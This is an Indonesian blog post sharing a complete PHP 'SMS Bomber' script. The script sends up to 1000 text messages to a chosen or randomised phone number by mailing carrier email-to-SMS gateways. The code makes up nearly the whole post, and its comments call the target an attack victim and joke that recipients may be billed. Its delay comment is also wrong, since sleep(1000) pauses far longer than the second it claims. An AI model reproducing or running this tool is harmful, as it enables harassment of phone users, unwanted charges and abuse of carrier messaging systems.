Posts Subscribe comment Comments

SAMPLE



Thanks For

Sms Bomber Dgn Menggunakan Php

Aku tidak akan membantu Anda menetapkan metode untuk menggunakan mail ()... jika Anda memiliki masalah dengan itu, baik hubungi penyedia hosting Anda atau www.google.com itu. Aku mengakui kode ini tidak besar, tetapi bekerja baik-baik saja untuk saya (belum tes ed pengeboman itu, tapi aku sudah melakukan sendings tunggal-pesan, dan bekerja.)

Spoiler
<html>
<head>
<title>SMS Bomber</title>
<style type="text/css">
body{
background-color: #000;
color: #FFF;
}

input, select, textarea{
background-color: #000;
border: 1px dashed #666;
color: #A0A0A0;
padding: 0px;
}

a:link, a:active, a:visited, a:hover{
background-color: #000;
color: #FA6D8E;
text-decoration: none;
font-weight: bold;
}
</style>
</head>
<body>
<?php
/***********************************************
* Script ini cukup banyak mengirimkan jumlah acak
* Pesan teks SMS ke yang dipilih (atau acak)
* Carrier yang dipilih (atau random) pelanggan. Tidak yakin
* Jika penerima akan dikenakan biaya untuk pesan ini,
* Tapi, jangan heran jika mereka. biggrin.gif
* -------------------------------------------------------
* Persyaratan:
* Mampu menggunakan mail ()
* -------------------------------------------------------
* Harap jangan mengklaim ini sebagai script anda ... keren,
* Tidak menunjukkan Anda skiddy-ness.
***********************************************/

// Jika fungsi mail () tidak ada...don't even attempt
if(!function_exists('mail')){
die("mail() function is unavailable...script will not run without this.");
}

// Hunkah daddy list of SMS cellphone providers
$carriers = array(
'Verizon' => '@vtext.com',
'AT&T' => '@txt.att.net',
'Sprint (PCS)' => '@messaging.sprintpcs.com',
'T-Mobile' => '@tmomail.net',
'Nextel' => '@messaging.nextel.com',
'Cingular' => '@cingularme.com',
'Virgin Mobile' => '@vmobl.com',
'Alltel' => '@message.alltel.com',
'CellularOne' => '@mobile.celloneusa.com',
'Omnipoint' => '@omnipointpcs.com',
'Qwest' => '@qwestmp.com',
'VodaFone' => '@vodafone.de', // Yay for the Englanders
'Docomo (?)' => '@docomo.ne.jp', // Japanese company
'Cricket (?)' => '@mms.mycricket.com', // Unable to test/verify, but here
'indosat' => '@indosat.com',
'XL' => '@mms.exelcomindo.com'
);

// Probably not needed if the below if()/else() is re-written properly, but this
// is the only way I could get this to function 100% properly.
$companies = array(
'Verizon',
'AT&T',
'Sprint (PCS)',
'T-Mobile',
'Nextel',
'Cingular',
'Virgin Mobile',
'Alltel',
'CellularOne',
'Omnipoint',
'Qwest',
'VodaFone',
'Docomo (?)',
'Cricket (?)',
'indosat',
'XL'
);

// if randomization was requested, let's do it
if(isset($_POST['do'])){
// Quite frankly, I dunno why gotta do two randoms like this...but, all well...
// Randomizes phone number
if($_POST['do'] == "Randomize Phone")
$rand = rand(10000, 99999) . rand(10000, 99999);
else if($_POST['do'] == "Randomize Carrier"){
// We want a random phone provider...SCHWING!
$arand = rand(0, count($carriers) - 1);
$crand = $companies[$arand];
}
}

// What is the phone number and carrier we should attack?
$phone = ($_POST['do'] == "Randomize Phone") ? $rand : $_POST['phone_number'];
$carrier = ($_POST['do'] == "Randomize Carrier") ? $carriers[$crand] : $carriers[$_POST['carrier']];

// Subject and title of our text (subject is probably pointless, but still here for the hell of it...)
$subj = empty($_POST['subj']) ? "Hey!" : stripslashes($_POST['subj']);
$msg = empty($_POST['msg']) ? "You are getting bombed!" : stripslashes($_POST['msg']);
?>
<form name="bomber" action="<?php echo($_SERVER['PHP_SELF']); ?>" method="POST">
<table width="70%" border="0" cellspacing="0" cellpadding="0" align="center">
<tr>
<td valign="top" width="70%">
Send a text message to
<input type="text" id="phone_number" name="phone_number" size="10" value="<?php echo($phone); ?>" /> (their 10-digit phone number), who
gets their serverices from <select name="carrier">
<?php
// Loop through all the carriers supported
foreach($carriers as $k => $v){
echo("<option value="". $k .""");

if($carrier == $v)
echo(" selected");

echo(">". $k ."</option>");
}
?>
</select>.



Subject: <input type="text" name="subj" value="<?php echo($subj); ?>" />


Message:

<textarea name="msg" rows="10" cols="35"><?php echo($msg); ?></textarea>



<input type="submit" name="sub" value="Send Bomb" />
<input type="submit" name="do" value="Randomize Phone" />
<input type="submit" name="do" value="Randomize Carrier" />
</td>
</tr>
</table>
</form>
<?php
if(isset($_POST['sub'])){
echo('<hr />');

// Make our rand() a lil' more random...
srand();

// ...you can change these variables however you want...just how I wanted to do it
$mails = rand(0, 1000);

// Just a little notice
echo("Sending <b>". $mails ."</b> text messages to <b>". $phone ."</b> to <b>". $_POST['carrier'] ."</b>.

");

// Format the "To:" according to e-mail standards (user@domain.tld)
$to = $phone . $carrier;

// Loop through all the the flooding of e-mails to send...stopping at the end
for($i = 0; $i <= $mails; $i++){
// Pretty much the meat of this script really
mail($to, $subj, $msg, "From: who@script.com");

sleep(1000); // To not cause a lot of stress on the server, pause for a second after each mail is sent...
}
}
?>
</body>
</html>


Credit: Me

0

Silahkan Tulis Komentar Anda ...